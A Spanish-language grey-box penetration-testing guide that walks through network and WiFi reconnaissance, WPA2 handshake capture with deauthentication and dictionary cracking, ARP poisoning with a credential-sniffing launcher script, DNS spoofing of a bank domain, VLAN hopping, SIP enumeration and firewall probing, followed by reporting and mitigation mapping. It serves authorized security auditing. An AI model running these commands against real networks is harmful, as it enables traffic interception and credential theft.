Guía Técnica Paso a Paso
Pruebas de Seguridad Caja Gris

Fase 1: Servicios LAN y WiFi

Actividad 1: Reconocimiento de Arquitectura

Herramientas: nmap, netdiscover, draw.io
Pasos: Escanear red local, identificar roles de dispositivos y documentar en diagrama.

Herramienta	**Descripción breve**
nmap	Escaneo de red, detección de hosts y servicios
netdiscover	Detección de dispositivos vía ARP
arp-scan (opcional)	Escaneo rápido de red vía ARP

🎯 Objetivo de la Actividad

Descubrir cómo está compuesta la red local: identificar dispositivos conectados (clientes, servidores, APs, switches) y su rol, para elaborar un mapa de arquitectura de red.

🔧 Paso a paso con ejemplos

🔹 Paso 1: Identificar tu interfaz de red

```
ip a
```

Ejemplo de salida:

```
3: enp0s3: <BROADCAST,MULTICAST,UP> ...
    inet 192.168.1.25/24 ...
```

→ En este caso, la IP local es 192.168.1.25 y la red es 192.168.1.0/24.

🔹 **Paso 2: Escaneo básico con nmap (detección de hosts activos)**

```
nmap -sn 192.168.1.0/24
```

🔍 **¿Qué hace?**

- Hace un "ping scan" para listar los dispositivos activos en la red.

Ejemplo de salida:

```
Nmap scan report for 192.168.1.1
Host is up (0.0050s latency).
MAC Address: 00:11:22:33:44:55 (Cisco)

Nmap scan report for 192.168.1.100
Host is up (0.0010s latency).
MAC Address: 12:34:56:78:9A:BC (HP)
```

🔹 **Paso 3: Usar netdiscover para detección rápida por ARP**

```
sudo netdiscover -r 192.168.1.0/24
```

🔍 **¿Qué hace?**

- Escanea la red vía ARP y lista IPs, MACs, vendors.

Ejemplo:

```
IP            MAC               VENDOR
192.168.1.1     00:11:22:33:44:55 Cisco
192.168.1.100   12:34:56:78:9A:BC HP
```

🔹 **Paso 4: Escaneo con detección de servicios (más profundo)**

```
nmap -sS -sV -T4 192.168.1.0/24
```

🔍 **¿Qué hace?**

- Escanea puertos abiertos (TCP SYN).
- Detecta versiones de servicios (-sV).
- Acelera el proceso (-T4).

Resultado:

```
Nmap scan report for 192.168.1.50
80/tcp  open  http    Apache httpd 2.4.41
22/tcp  open  ssh     OpenSSH 8.2
```

🔹 **Paso 5: Identificar roles de dispositivos**

Basado en:

- MAC Vendor → (ej. Cisco = router/switch)
- Puertos abiertos → HTTP, SSH, SMB
- IP gateway (generalmente termina en .1)
- Latencia y cantidad de servicios

🔹 **Paso 6: Diagramar la arquitectura**

Puedes usar:

- 🖌️ https://draw.io → para diagrama visual de red
- 🖥️ yEd → app de escritorio para diagramas
- ✅ Anota IP, tipo de dispositivo, sistema operativo, etc.

🧠 **Resultado esperado**

- Lista clara de dispositivos activos

- Servicios visibles en cada host
- Diagrama inicial de arquitectura de red LAN
- Base para identificar superficies de ataque en fases posteriores

Actividad 2: Escaneo a redes inalámbricas y puntos de acceso

Herramientas: airodump-ng, iwconfig
Pasos: Poner adaptador en modo monitor, capturar SSID y cifrado.

🎯 Objetivo

Detectar todas las redes WiFi cercanas, incluyendo:

- Nombre (SSID)
- MAC del punto de acceso (BSSID)
- Canal (CH)
- Tipo de cifrado (WEP, WPA2, WPA3)
- Nivel de señal (Power)

🧰 Herramientas requeridas

Herramienta	Función
iwconfig	Verifica si el adaptador WiFi está en modo monitor
airmon-ng	Pone la interfaz WiFi en modo monitor
airodump-ng	Escanea redes inalámbricas disponibles

✅ Paso a paso con comandos

🔹 1. Verifica si tu adaptador soporta modo monitor

```
iwconfig
```

Busca tu adaptador (ej. wlan0) y asegúrate que tenga "IEEE 802.11" como tipo.

🔹 2. Poner la interfaz WiFi en modo monitor

```
sudo airmon-ng start wlan0
```

✅ Esto creará una nueva interfaz tipo monitor, como wlan0mon.

⚠️ **Nota**: Si hay procesos que interfieren (como NetworkManager), airmon-ng te sugerirá detenerlos.

🔹 **3. Escanear redes con airodump-ng**

```
sudo airodump-ng wlan0mon
```

Verás una lista como esta:

```
BSSID              PWR  Beacons  #Data, CH, MB, ENC, CIPHER, AUTH, ESSID

00:14:6C:7E:40:80  -40     1000     0   6  54e  WPA2  CCMP   PSK   MiRedWiFi

78:8A:20:94:18:FE  -82      521     0  11  54e  WPA3  GCMP   SAE   RedSegura
```

📋 **¿Qué observar?**

Campo	Significado
BSSID	Dirección MAC del AP
PWR	Potencia de señal (más cercano = más alto)
CH	Canal por donde transmite
ENC	Tipo de cifrado (WEP, WPA2, WPA3)
ESSID	Nombre de la red WiFi

🔹 **4. Detener el modo monitor (al finalizar)**

```
sudo airmon-ng stop wlan0mon
```

🧠 **Resultado esperado**

- Lista completa de redes WiFi cercanas
- Identificación de SSID y seguridad usada
- Información de canal y potencia (útil para auditoría)
- Punto de partida para captura de handshake (en fases posteriores)

✅ **Tips adicionales**

- Puedes filtrar por canal:
- sudo airodump-ng -c 6 wlan0mon
- Para guardar los resultados:
- sudo airodump-ng -w escaneo_wifi wlan0mon

Actividad 3: Descubrimiento de dispositivos y servicios expuestos

Herramientas: nmap, masscan
Pasos: Escaneo TCP/UDP, identificar servicios y documentar.

🎯 Objetivo

Detectar:

- Dispositivos activos en la red.
- Puertos TCP y UDP abiertos.
- Servicios expuestos (HTTP, SSH, FTP, SMB, etc.).
- Versiones de servicios vulnerables.

🧰 Herramientas necesarias

Herramienta	Función principal
nmap	Escaneo completo de puertos y servicios
masscan	Escaneo ultra rápido de grandes rangos IP

✅ Paso a paso con ejemplos

🔹 Paso 1: Escaneo rápido de hosts activos (con nmap)

```
sudo nmap -sn 192.168.1.0/24
```

📌 Esto lista los hosts activos en la red local.

🔹 Paso 2: Escaneo de puertos TCP con detección de servicios

```
sudo nmap -sS -sV -T4 192.168.1.0/24
```

🔍 **Parámetros**:

- -sS: escaneo SYN (rápido y sigiloso).

- -sV: detección de versiones de servicios.
- -T4: más rapidez.

📋 **Ejemplo de resultado**:

```
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4
80/tcp  open  http     Apache 2.4.18
139/tcp open  netbios-ssn Samba smbd 3.X
```

🔹 **Paso 3: Escaneo de puertos UDP**

```
sudo nmap -sU -T4 --top-ports 20 192.168.1.0/24
```

📌 Escanea los 20 puertos UDP más comunes. (UDP es más lento que TCP).

🔹 **Paso 4: Escaneo rápido con masscan (si hay muchas IPs)**

```
sudo masscan 192.168.1.0/24 -p1-65535 --rate=1000
```

🔍 masscan puede escanear miles de hosts por segundo.

📝 Luego puedes investigar más profundamente con nmap solo a los IPs detectados con puertos abiertos.

🔹 **Paso 5: Guardar los resultados**

```
sudo nmap -sS -sV -oN resultado_nmap.txt 192.168.1.0/24
```

O en formato XML para herramientas automatizadas:

```
sudo nmap -oX resultado_nmap.xml 192.168.1.0/24
```

🧠 Resultado esperado

- IPs de dispositivos conectados.
- Servicios disponibles por puerto (web, ssh, ftp, etc).
- Versiones que podrían ser vulnerables.
- Reporte técnico guardado para análisis posterior.

✅ Tip de análisis

Si detectas por ejemplo:

21/tcp open ftp vsftpd 2.3.4

Se puede validar la versión tiene una vulnerabilidad (backdoor en vsftpd 2.3.4), puedes incluirlo como **hallazgo crítico**.

Actividad 4: Evaluar seguridad WiFi (WPA2/WPA3)

Herramientas: aircrack-ng, hashcat
Pasos: Captura de handshake, ataque por diccionario.

> ⚠️ **Importante**:
>
> Este procedimiento debe realizarse **solo en entornos autorizados** (laboratorios, entornos de prueba, redes propias). Atacar redes sin permiso es ilegal.

🎯 Objetivo

- Capturar el **handshake WPA2** de una red WiFi.
- Intentar **romper la contraseña** mediante ataque de diccionario.
- Evaluar la **robustez de la clave WiFi**.

🧰 Herramientas necesarias

Herramienta	Función
aircrack-ng	Suite para captura y análisis de redes WiFi
airodump-ng	Monitor de redes WiFi y captura de handshake
aireplay-ng	Desautenticación para forzar handshake
hashcat	Ataque de diccionario basado en GPU/CPU
Diccionario	Ej: rockyou.txt o uno personalizado

✅ Paso a paso con ejemplos

🔹 1. Activar modo monitor en la tarjeta WiFi

```
sudo airmon-ng start wlan0
```

Esto creará wlan0mon.

🔹 **2. Escanear redes WiFi con airodump-ng**

```
sudo airodump-ng wlan0mon
```

🔍 Identifica la red objetivo:

- **ESSID** (nombre de red)
- **BSSID** (MAC del AP)
- **Canal** (CH)

Ejemplo:

```
ESSID: MiRedSegura

BSSID: 34:56:78:9A:BC:DE

CH: 6
```

🔹 **3. Capturar el handshake de la red**

Ejecuta el siguiente comando (cambiando valores):

```
sudo airodump-ng -c 6 --bssid 34:56:78:9A:BC:DE -w captura wlan0mon
```

Esto:

- Filtra solo la red objetivo (--bssid)
- Escribe los paquetes capturados en captura.cap

🔹 **4. Forzar desautenticación para capturar el handshake (opcional)**

```
sudo aireplay-ng --deauth 10 -a 34:56:78:9A:BC:DE wlan0mon
```

🔁 Esto envía 10 paquetes de desautenticación al AP, forzando que los clientes se reconecten (generando un nuevo handshake).

🔹 5. Verifica que el handshake fue capturado

```
aircrack-ng captura.cap
```

Debes ver algo como:

[WPA handshake: 34:56:78:9A:BC:DE]

🔹 6. Atacar el handshake con un diccionario (modo CPU)

```
aircrack-ng captura.cap -w /usr/share/wordlists/rockyou.txt
```

🔹 7. (Opcional) Convertir handshake para usar con hashcat

1. Instala hcxpcapngtool (si necesario):

   ```
   sudo apt install hcxtools
   ```

2. Convertir a formato hashcat:

   ```
   hcxpcapngtool -o handshake.hc22000 captura.cap
   ```

3. Atacar con hashcat (si tienes GPU potente):

   ```
   hashcat -m 22000 handshake.hc22000 /usr/share/wordlists/rockyou.txt –force
   ```

🧠 Resultado esperado

- Captura exitosa de handshake WPA2
- Si la contraseña está en el diccionario: recuperación
- i no: evidencia de clave robusta

✅ **Recomendaciones para mitigación**

- Usar claves largas, aleatorias y fuera de diccionarios públicos.
- Activar WPA3 si es posible.
- Limitar intentos de reconexión con IDS/IPS inalámbricos.
- Aplicar aislamiento de clientes.

Actividad 5: Pruebas ARP/DNS Poisoning

Herramientas: ettercap, dsniff, arpspoof
Pasos: Spoofing y análisis de tráfico.

> ⚠️ **Advertencia legal y ética**:
> Estas pruebas solo deben hacerse en **entornos autorizados** (laboratorios, redes controladas o de pruebas). Son técnicas de **ataque real** (MITM) y podrían comprometer la confidencialidad y disponibilidad de usuarios si se usan sin permiso.

🎯 Objetivo

- Ejecutar un ataque de tipo **MITM (Man-in-the-Middle)** en una red LAN mediante **ARP poisoning**.
- Interceptar y analizar tráfico de red.
- Realizar **DNS spoofing** como técnica de manipulación.

🧰 Herramientas necesarias

Herramienta	**Función**
arpspoof	Envenena la tabla ARP entre víctima y gateway
dsniff	Analiza tráfico interceptado y muestra contraseñas en texto plano
ettercap	Suite gráfica/completa para ataques MITM y sniffing
tcpdump / wireshark	Para capturar y analizar tráfico

✅ Paso a paso con ejemplos

🔹 1. Habilitar redirección de IP (para redirigir el tráfico al gateway)

```
sudo sysctl -w net.ipv4.ip_forward=1
```

🔹 2. Identificar IPs de víctima y gateway

```
ip route
```

Ejemplo de salida:

default via 192.168.1.1 dev eth0

- Gateway = 192.168.1.1
- Víctima = 192.168.1.100 (puedes usar nmap -sn 192.168.1.0/24 para identificar)

🔹 3. Envenenamiento ARP con arpspoof

En terminal 1 (atacando la víctima):

```
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
```

En terminal 2 (atacando el gateway):

```
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
```

🔁 Esto hace que ambos crean que el atacante es el otro.

🔹 4. Captura de tráfico con dsniff

```
sudo dsniff -i eth0
```

🔍 Detectará y mostrará contraseñas de protocolos sin cifrar (FTP, Telnet, HTTP básico, POP3, etc.).

🔹 5. (Opcional) Usar ettercap como alternativa completa

```
sudo ettercap -G
```

Pasos en GUI:

1. Selecciona Sniff > Unified Sniffing > eth0
2. Ve a Hosts > Scan for hosts
3. Agrega víctima y gateway a “Target 1” y “Target 2”

4. Inicia ataque: MITM > ARP poisoning > Sniff remote connections
5. Captura tráfico con: Start > Start sniffing

🔹 6. (Opcional) DNS Spoofing con Ettercap

1. Edita el archivo de spoofing:

```
sudo nano /etc/ettercap/etter.dns
```

   Agrega algo como:

   www.banco.com A 192.168.1.50

2. Habilita el plugin DNS spoof en Ettercap:

   Plugins > Manage Plugins > dns_spoof

   Esto hará que cualquier intento de acceso a www.banco.com desde la víctima sea redirigido a 192.168.1.50.

🔹 7. Detener el ataque

- Ctrl+C en los terminales de arpspoof
- Volver a desactivar redirección:

```
sudo sysctl -w net.ipv4.ip_forward=0
```

🧠 Resultado esperado

- Intercepción de tráfico no cifrado
- Posible captura de credenciales o sesiones
- Redirección de tráfico DNS si se configura

✅ Recomendaciones de mitigación (para tu informe)

- Implementar ARP spoofing detection (ej. arpwatch, IPS)
- Usar HTTPS y protocolos seguros
- Aislamiento de redes LAN con VLANs

- Autenticación a nivel de switch (802.1X)

Script ejemplo:

Fichero : arp_poison_lab.sh

```
#!/bin/bash

# Script de laboratorio para pruebas de ARP/DNS Poisoning
# ⚠️ SOLO USAR EN ENTORNOS DE PRUEBA AUTORIZADOS

echo "[+] Habilitando redirección IP..."
sudo sysctl -w net.ipv4.ip_forward=1

# Solicitar interfaz, víctima y gateway
read -p "Interfaz de red (ej: eth0): " IFACE
read -p "IP de la víctima: " VICTIMA
read -p "IP del gateway: " GATEWAY

echo "[+] Iniciando envenenamiento ARP..."

# Terminal 1: hacia la víctima
gnome-terminal -- bash -c "arpspoof -i $IFACE -t $VICTIMA $GATEWAY; exec bash"

# Terminal 2: hacia el gateway
gnome-terminal -- bash -c "arpspoof -i $IFACE -t $GATEWAY $VICTIMA; exec bash"

# Terminal 3: escucha tráfico con dsniff
gnome-terminal -- bash -c "dsniff -i $IFACE; exec bash"

echo "[*] Ataque activo. Presiona Enter para detener..."
read

echo "[+] Deteniendo redirección y finalizando..."
sudo sysctl -w net.ipv4.ip_forward=0
pkill arpspoof
pkill dsniff

echo "[+] Todo detenido. Fin del laboratorio."
```

🛠️ **Cómo usarlo:**

Comandos:

```
chmod +x arp_poison_lab.sh
./arp_poison_lab.sh
```

Actividad 6: Escaneo de VLANs

Herramientas: yersinia, tcpdump, wireshark
Pasos: Escaneo y análisis de tramas 802.1Q.

🎯 Objetivo

Detectar si existen vulnerabilidades de red a nivel de **capa 2** que permitan:

- Enumerar VLANs activas.
- Detectar protocolos como DTP, CDP o STP.
- Comprobar la posibilidad de **VLAN Hopping** o acceso no autorizado.

🧰 Herramientas necesarias

Herramienta	Función principal
yersinia	Ataques de capa 2 (GUI y CLI) para VLAN, DTP, STP
tcpdump	Captura y filtrado de tramas con etiquetas VLAN
wireshark	Análisis detallado de protocolos 802.1Q, CDP, etc.

✅ Paso a paso con ejemplos

🔹 1. Instalar herramientas (si no las tienes)

```
sudo apt update
sudo apt install yersinia tcpdump wireshark
```

🔹 2. Ejecutar Yersinia (modo GUI recomendado)

```
sudo yersinia -G
```

📌 Esto abre una interfaz gráfica donde puedes:

- Escanear redes.
- Lanzar ataques contra protocolos: CDP, DTP, STP, VLAN, etc.

🔍 **Casos de uso comunes en auditorías**:

- Detección de tramas DTP (para ver si hay puertos que permiten negociación de VLAN).
- Envío de tramas CDP falsas para intentar obtener configuración de switches Cisco.
- Prueba de VLAN hopping enviando tramas con etiquetas 802.1Q dobles.

🔹 **3. Captura de tráfico con tcpdump**

```
sudo tcpdump -e -i eth0 vlan
```

🔍 Explicación:

- -e: Muestra encabezado de enlace (donde aparece la etiqueta VLAN).
- vlan: Filtro que muestra solo tramas 802.1Q etiquetadas.

📋 Ejemplo de salida:

12:01:44.551123 00:11:22:33:44:55 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), vlan 10, length 64:

Esto indica que el tráfico pertenece a la **VLAN 10**.

🔹 **4. Analizar en Wireshark**

1. Abre Wireshark y selecciona tu interfaz (ej. eth0).
2. Usa el filtro:

   vlan

3. Puedes ver tramas con etiquetas 802.1Q y campos como:
   - **VLAN ID**

- **Tipo de protocolo**
- **Origen/Destino MAC**

🔹 **5. Intentar detectar VLANs ocultas o mal segmentadas**

Usa yersinia para:

- Detectar puertos en modo "trunk" mal configurados.
- Enviar tramas DTP para negociar trunk y obtener acceso a otras VLANs.

🧠 **Resultado esperado**

- Lista de VLANs activas identificadas por tráfico etiquetado.
- Detección de protocolos de red de capa 2 vulnerables.
- Posible acceso no autorizado a otras VLANs (si configuración es débil).

✅ **Recomendaciones de mitigación**

- Desactivar DTP en puertos de acceso:
- switch(config-if)# switchport nonegotiate
- Aplicar listas de control por VLAN.
- Deshabilitar protocolos innecesarios (CDP, STP) en puertos de usuario.
- Monitorear tráfico 802.1Q y aplicar alertas.

Script:

Fichero: vlan_capture_lab.sh

```
#!/bin/bash

# Script de laboratorio para captura de tramas VLAN con tcpdump
# ⚠️ SOLO USAR EN ENTORNOS DE PRUEBA AUTORIZADOS

echo "[+] Captura de tráfico VLAN con tcpdump"
read -p "Interfaz de red (ej: eth0): " IFACE
read -p "Nombre del archivo de salida (sin extensión): " FILE
```

```
FILE="${FILE}.pcap"

echo "[+] Iniciando captura en $IFACE... Guardando en $FILE"
sudo tcpdump -i "$IFACE" -e vlan -w "$FILE"

echo "[+] Captura finalizada. Archivo guardado como $FILE"
```

🛠️ **Cómo usarlo:**

Comandos:

```
chmod +x vlan_capture_lab.sh
./vlan_capture_lab.sh
```

Fase 2: Servicios de movilidad (plataforma tecnológica)

Actividad 1: VLAN telefonía (VoIP)

Herramientas: wireshark, voiphopper, sipvicious
Pasos: Escaneo de tráfico SIP y descubrimiento de terminales.

🎯 Objetivo

- Detectar tráfico de **telefonía IP (VoIP)** en una red local o VLAN.
- Identificar **terminales SIP activos** (teléfonos IP, softphones).
- Evaluar posibles fallas de segmentación o seguridad en VLANs de voz.

🧰 Herramientas necesarias

Herramienta	Función principal
Wireshark	Captura y análisis de paquetes SIP/RTP en VLAN de voz
VoIP Hopper	Intenta saltar de VLAN de datos a VLAN de voz (hopping)
SIPVicious	Escanea y enumera usuarios/agentes SIP

✅ Paso a paso con ejemplos

🔹 1. Identifica la interfaz de red activa

```
ip a
```

→ Ejemplo: eth0 o enp0s3

🔹 2. Captura tráfico de telefonía con Wireshark

```
sudo wireshark
```

1. Selecciona tu interfaz.
2. Usa el filtro:

   sip || rtp || udp.port == 5060

🔍 Verás tráfico SIP (invitaciones, registro, llamadas) y RTP (voz).

📋 Campos clave:

- **Request-Line** (ej. INVITE)
- **User-Agent** (identifica softphones o terminales)
- **To/From** (extensiones, números)

🔹 3. Intentar saltar a VLAN de voz con VoIP Hopper

```
sudo voiphopper -i eth0
```

🔍 El programa detectará si la VLAN de voz está activa (mediante CDP, LLDP) y configura automáticamente la subinterfaz eth0.100 o similar.

✅ Si obtienes una IP válida de la VLAN de voz: la red es vulnerable al **VLAN hopping**.

🔹 4. Escanear dispositivos SIP con SIPVicious

```
sudo svmap -v 192.168.1.0/24
```

🔍 Esto busca servidores SIP (generalmente en el puerto 5060 UDP).

```
sudo svwar -m INVITE -v 192.168.1.10
```

🔍 Esto enumera **usuarios SIP válidos** usando paquetes SIP tipo INVITE.

🔹 5. Verifica registros SIP y llamadas

- Observa en Wireshark paquetes como:
  - REGISTER
  - INVITE
  - BYE
- Puedes reconstruir llamadas si hay flujo RTP.

- Observa si hay datos sensibles sin cifrar (usuario, clave, dominio).

🧠 Resultado esperado

- Identificación de servidores o proxies SIP.
- Dispositivos terminales conectados a la VLAN de voz.
- Posible acceso no autorizado a tráfico de voz si hay mala segmentación.
- Confirmación (o no) de que se puede hacer VLAN hopping.

✅ Recomendaciones de mitigación

- Configurar **puertos de acceso** sin DTP:
- switch(config-if)# switchport mode access
- Aislar tráfico de voz en VLAN separada sin mezcla con datos.
- Usar autenticación 802.1X para terminales IP.
- Cifrar llamadas SIP/RTP con TLS/SRTP.
- Monitorear tráfico con IDS de VoIP como **Snort + VOIP rules**.

Script:

Fichero: sip_voip_capture.sh

```
#!/bin/bash

# Script de captura de tráfico SIP y RTP en red de VoIP
# ⚠️ SOLO USAR EN ENTORNOS DE PRUEBA AUTORIZADOS

echo "[+] Captura de tráfico SIP/RTP (puerto 5060/UDP)..."
read -p "Interfaz de red (ej: eth0): " IFACE
read -p "Nombre del archivo de salida (sin extensión): " FILE

FILE="${FILE}.pcap"

echo "[+] Iniciando captura en $IFACE... Guardando en $FILE"
sudo tcpdump -i "$IFACE" udp port 5060 or portrange 10000-20000 -w "$FILE"

echo "[+] Captura finalizada. Archivo guardado como $FILE"
echo "[*] Puedes abrirlo con Wireshark usando el filtro: sip || rtp"
```

🛠️ **Cómo usarlo:**

```
chmod +x sip_voip_capture.sh

./sip_voip_capture.sh
```

Luego podrás analizar el archivo .pcap en Wireshark con el filtro:

sip || rtp

Actividad 2: Border controlling

Herramientas: nmap, hping3, firewalk
Pasos: Análisis de filtrado perimetral y detección de ACLs.

🎯 Objetivo

- Evaluar qué puertos/protocolos están permitidos o bloqueados por el perímetro de red (firewall, router, gateway).
- Detectar reglas de **ACLs (Access Control Lists)**, NAT, y políticas de filtrado.
- Comprobar si existen fallas en el control de acceso entre zonas (LAN ↔ DMZ ↔ WAN).

🧰 Herramientas necesarias

Herramienta	Función principal
nmap	Escaneo de puertos y servicios con detección de filtrado
hping3	Generación de paquetes TCP/UDP/ICMP personalizados
firewalk	Detección de reglas ACL y saltos en firewalls

✅ Paso a paso con ejemplos

🔹 1. Comprobar qué puertos están filtrados con nmap

```
sudo nmap -Pn -sS -T4 -p 1-1000 192.168.1.1
```

📌 Esto escanea el gateway o firewall y muestra:

- **open** → puerto accesible
- **closed** → puerto cerrado, pero responde
- **filtered** → puerto filtrado (sin respuesta, posiblemente por firewall)

🔹 **2. Detectar reglas con hping3 (simulación de tráfico controlado)**

🔸 Enviar paquetes SYN al puerto 80:

```
sudo hping3 -S 192.168.1.1 -p 80 -c 3
```

🔍 Si hay respuesta SA (SYN-ACK): puerto abierto.
Si no hay respuesta o RA: puerto cerrado o filtrado.

🔸 Simular tráfico ICMP bloqueado:

```
sudo hping3 -1 192.168.1.1
```

→ Prueba si ICMP (ping) está bloqueado en el borde.

🔸 Spoof de IP para test de ACLs (⚠️ solo en laboratorio):

```
sudo hping3 -S -a 10.0.0.5 -p 22 192.168.1.1
```

📌 Este comando simula que el paquete viene de 10.0.0.5.

🔹 **3. Usar firewalk para descubrir reglas de firewall**

1. Primero detecta el número de saltos (TTL) hasta el firewall:

   ```
   traceroute 192.168.1.1
   ```
   → Supón que el firewall está a **TTL 2**

2. Ejecuta firewalk con un rango de puertos:

   ```
   sudo firewalk -S -i eth0 -n -p 1-1024 -T 192.168.1.1 192.168.1.2
   ```

📌 Esto envía paquetes con TTL = 2 hacia el objetivo tras el firewall (192.168.1.2) para inferir qué puertos permite pasar el firewall.

🧠 **Resultado esperado**

- Lista de puertos permitidos y bloqueados en el perímetro.
- Comprobación de filtrado ICMP, TCP, UDP.
- Posibles fallos en las reglas ACL del firewall.
- Mapa de servicios accesibles desde fuera.

✅ **Recomendaciones de mitigación**

- Aplicar principio de **mínimo privilegio**: solo puertos necesarios.
- Monitorear y registrar intentos de escaneo (IDS/IPS).
- Bloquear protocolos innecesarios en el perímetro (como ICMP si no es requerido).
- Revisar y endurecer reglas ACL y NAT.

Script:

Fichero: border_control_lab.sh

```
#!/bin/bash

# Script para pruebas de Border Controlling (firewall/ACLs)
# ⚠️ SOLO USAR EN LABORATORIOS DE PRUEBA AUTORIZADOS

echo "[+] Prueba de control perimetral (Border Controlling)"
read -p "Interfaz de red (ej: eth0): " IFACE
read -p "IP del firewall/gateway: " TARGET
read -p "Rango de puertos a escanear (ej: 1-1000): " PORTS

echo "[+] Escaneo con nmap..."
sudo nmap -Pn -sS -T4 -p $PORTS $TARGET -oN nmap_border.txt

echo "[+] Prueba con hping3 (TCP SYN al puerto 80)..."
sudo hping3 -S $TARGET -p 80 -c 3

echo "[+] Prueba con hping3 (ICMP)..."
sudo hping3 -1 $TARGET -c 3

echo "[+] (Opcional) Ejecutando firewalk..."
read -p "IP detrás del firewall (destino real): " DEST
read -p "TTL para alcanzar firewall (ej: 2): " TTL

sudo firewalk -S -i $IFACE -n -p $PORTS -T -m $TTL $TARGET $DEST -o
firewalk_border.txt

echo "[+] Pruebas finalizadas. Resultados guardados en:"
echo " - nmap_border.txt"
echo " - firewalk_border.txt"
```

🛠️ **Instrucciones:**

```
chmod +x border_control_lab.sh

./border_control_lab.sh
```

Fase 3: Elaboración de Informes y Recomendaciones

Actividad 1: Documentación de hallazgos

Herramientas: CherryTree, Obsidian
Pasos: Capturas, informes técnicos, evidencia estructurada.

🎯 Objetivo

- Documentar cada actividad realizada en las fases de pruebas.
- Incluir capturas de pantalla, comandos ejecutados, fechas, resultados y evidencias.
- Generar informes claros para responsables técnicos o directivos.
- Organizar hallazgos de forma jerárquica y consultable.

🧰 Herramientas recomendadas

Herramienta	Función
CherryTree	Aplicación de notas jerárquicas con formato enriquecido
Obsidian	Sistema de notas en Markdown con enlaces internos y exportación
Flameshot	(opcional) Herramienta de capturas de pantalla rápidas

✅ Paso a paso con ejemplos

🔹 1. Instalar CherryTree y Obsidian

```
sudo apt install cherrytree
```

Para Obsidian: descarga el .AppImage desde https://obsidian.md y ejecútalo.

2. Estructurar el árbol de documentación

📁 Jerarquía sugerida en CherryTree u Obsidian:

```
Caja Gris - Informe
├── Fase 1: Servicios LAN y WiFi
│   ├── Actividad 1: Reconocimiento
│   ├── Actividad 2: Escaneo WiFi
│   ├── ...
```

```
├── Fase 2: Servicios de Movilidad
│   ├── Actividad 1: VLAN VoIP
│   ├── Actividad 2: Border Control
├── Fase 3: Informes
│   ├── Hallazgos Críticos
│   ├── Recomendaciones Técnicas
```

🔹 3. Documentar paso a paso

Para cada actividad:

- Fecha y hora
- Objetivo de la prueba
- Comandos ejecutados
- Capturas de pantalla (pegar directamente en CherryTree o enlazar en Obsidian)
- Resultado técnico (lo que se encontró)
- Análisis (por qué es un riesgo)
- Severidad (bajo, medio, alto)

🔹 4. Insertar capturas con Flameshot o similar

```
flameshot gui
```

Guarda o copia al portapapeles y pega directamente en CherryTree o agrega en Obsidian como:

![Evidencia Nmap](../evidencias/nmap_open_ports.png)

🔹 5. Exportar informe

CherryTree:

- Export > Export to PDF → para entregar informe formal.

Obsidian:

- Usa plugins como Pandoc o Markdown Export para generar PDF o Word.

🧠 Resultado esperado

- Informe jerárquico y estructurado por fases y actividades.
- Evidencias visuales y comandos exactos.
- Registro trazable del proceso.
- Base para informe ejecutivo y técnico.

✅ Recomendaciones

- Usa colores y etiquetas (en CherryTree) para marcar hallazgos críticos.
- En Obsidian, enlaza entre notas para crear un mapa mental del análisis.
- Respaldar todo el repositorio del informe en ZIP o Git.

Actividad 3: Recomendaciones de mitigación

Guías: OWASP, CIS, MITRE ATT&CK
Pasos: Asociar soluciones a hallazgos.

R**elacionar cada vulnerabilidad encontrada durante la auditoría de seguridad con marcos de referencia reconocidos** como:

- ✅ **OWASP** (Open Web Application Security Project)
- ✅ **CIS Controls** (Center for Internet Security)
- ✅ **MITRE ATT&CK** (Técnicas de adversarios y detección)

🎯 Objetivo

- Fortalecer la credibilidad técnica del informe.
- Justificar recomendaciones con estándares reconocidos.
- Mapear cada hallazgo a controles específicos para priorizar acciones correctivas.

🧰 Guías de referencia

Marco	Enfoque principal
OWASP Top 10	Riesgos comunes en aplicaciones web
CIS Controls	Buenas prácticas generales de seguridad organizacional
MITRE ATT&CK	Técnicas de ataque reales usadas por adversarios

---

✅ Paso a paso con ejemplos

🔹 Paso 1: Clasificar el hallazgo

Ejemplo de hallazgo:

🔎 *"Puerto 21/tcp abierto con vsftpd 2.3.4 vulnerable a backdoor"*

Clasificación:

- Tipo: Servicio expuesto
- Severidad: Alta
- Impacto: Ejecución remota de comandos

🔹 **Paso 2: Asociar controles por marco**

📘 **OWASP (si aplica, por ejemplo en aplicaciones web):**

- **A6:2021 - Vulnerable and Outdated Components**

📘 **CIS Controls:**

- **Control 2**: Inventario y control de software
- **Control 4**: Control de puertos y protocolos en uso
- **Control 7**: Protección contra vulnerabilidades (aplicación de parches)

📘 **MITRE ATT&CK:**

- **T1190**: Exploit Public-Facing Application
- **T1059**: Command and Scripting Interpreter

🔹 **Paso 3: Formular la recomendación asociada**

📌 Recomendación técnica:

🔧 *Actualizar o eliminar vsftpd 2.3.4. Si FTP es necesario, implementar versión segura (vsftpd >=3.0), utilizar autenticación fuerte y cifrado TLS (FTPS).*

✅ Justificación:

Esta mitigación se alinea con:

- **CIS Control 2 y 4**
- **OWASP A6:2021**
- **MITRE T1190 / T1059**

🔹 **Paso 4: Registrar en el informe**

Formato sugerido:

Hallazgo	**Severidad**	**Guías OWASP**	**CIS**	**MITRE ATT&CK**	**Recomendación**
FTP vulnerable	Alta	A6	2, 4, 7	T1190, T1059	Actualizar o eliminar FTP. Configurar FTPS.

✅ **Recomendaciones finales**

- Usa referencias cruzadas para sustentar decisiones técnicas.
- Puedes consultar:
    - https://attack.mitre.org
    - https://owasp.org/www-project-top-ten/
    - https://www.cisecurity.org/controls

Actividad 4: Elaboración del informe final

Herramientas: LibreOffice, LaTeX, Markdown, Microsoft Office
Pasos: Redactar metodología, hallazgos, impacto y recomendaciones.

Actividad 5: Presentación al cliente

Herramientas: LibreOffice Impress, Canva, , Microsoft Office
Pasos: Preparar resumen ejecutivo, evidencias clave, soluciones.